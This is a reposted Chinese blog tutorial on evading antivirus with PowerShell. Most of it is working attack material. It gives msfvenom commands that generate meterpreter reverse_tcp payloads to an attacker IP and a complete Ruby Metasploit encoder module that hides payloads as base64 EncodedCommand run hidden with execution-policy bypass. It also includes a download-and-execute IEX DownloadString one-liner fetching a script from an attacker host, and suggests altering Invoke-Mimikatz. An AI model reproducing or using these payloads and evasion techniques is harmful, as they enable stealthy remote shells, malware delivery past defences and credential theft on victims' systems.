powershell对抗杀软

转载文章:https://www.cnblogs.com/backlion/p/8986816.html

知识点介绍:

  • Windows PowerShell是以.NET Framework技术为基础,并且与现有的WSH保持向后兼容,因此它的脚本程序不仅能访问.NET CLR,也能使用现有的COM技术。同时也包含了数种系统管理工具、简易且一致的语法, 提升管理者处理,常见如登录数据库、WMlExchange Server 2007以及System Center Operations Manager 2007等服务器软件都将内置Windows PowerShell
  • Windows PowerShell的强大,并且内置,在渗透过程中,也让渗透变得更加有趣。而安全软件的对抗查杀也逐渐开始针对powershell的一切切行为。
  • 官方文档:https://docs.microsoft.com/zh-cn/powershell/

本地测试

Add-Type -AssemblyName PresentationFramework;
[System.windows.MessageBox]::show('Micropoor')

在这里插入图片描述
上文所说,越来越多的杀软开始对抗,powershell的部分行为,或者特征。以msfvenom为例,生成payload

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.159.137 lport=4444 -f psh-reflection >xxx.ps1

直接被杀
在这里插入图片描述
针对powershell特性,更改payload
在这里插入图片描述

接下来考虑的事情是如何把以上重复的工作变成自动化,并且针对powershell, DownloadString特性,设计出2种payload形式:

  1. 目标机出网
  2. 目标机不出网

并且根据需求,无缝连接Metasploit

根据微软文档,可以找到可能对以上有帮助的属性,分别为:

  1. WindowStyle
  2. NoExit
  3. EncodedCommand
  4. exec

自动化实现如下:

#       copy base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell.
#       E.g
#       msf encoder(powershell/base64) > use exploit/multi/handler
#       msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
#       payload => windows/x64/meterpreter/reverse_tcp
#       msf exploit(multi/handler) > exploit
 
#       msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.
 
#       [*] Started reverse TCP handler on xx.1xx.xx.xx:xx
 
class MetasploitModule < Msf::Encoder
  Rank = NormalRanking
 
  def initialize
    super(
      'Name'             => 'Powershell Base64 Encoder',
      'Description'      => %q{
    
    
        msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.
      },
      'Author'           => 'Micropoor',
      'Arch'             => ARCH_CMD,
      'Platform'         => 'win')
 
    register_options([
      OptBool.new('payload', [ false, 'Use payload ', false ]),
      OptBool.new('x64', [ false, 'Use syswow64 powershell', false ])
    ])
 
  end
 
  def encode_block(state, buf)
    base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf))
    cmd = ''
    if datastore['x64']
      cmd += 'c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe '
    else
      cmd += 'powershell.exe '
    end
    if datastore['payload']
      cmd += '-windowstyle hidden -exec bypass -NoExit '
    end
    cmd += "-EncodedCommand #{base64}"
  end
end
 
 
# if use caidao
# execute echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/xxx.ps1');\"" |msfvenom -e x64/xor4 --arch x64 --platform windows
# xxx.ps1 is msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.

拷贝powershell_base64.rb文件到 /usr/share/metasploit-framework/modules/encoders/powershell目录下 如果powershell 空,请新建powershell目录
参数 payload选择是否使用Metasploit payload,来去掉powershell的关键字。

例1(目标出网,下载执行):

powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.137:8080/micropoor.ps1');\"" |msfvenom -e powershell/powershellbase64 --arch x64 --platform windows

在这里插入图片描述

例2(目标不出网,本地执行)

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.159.137 LPORT=4444 -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/powershell_base64 --arch x64 --platform windows payload

注:加payload参数

在这里插入图片描述
在这里插入图片描述

更多有趣的实验:

把例1的down内容更改为例2,并且去掉payload参数。来减小payload大小。

更改Invoke-Mimikatz.ps1等。

from: https://technet.microsoft.com/en-us/library/ff629472.aspx
https://github.com/danielbohannon/Invoke-Obfuscation
https://micropoor.blogspot.com/2018/04/powershell.html

猜你喜欢

转载自blog.csdn.net/weixin_44216796/article/details/112686621
今日推荐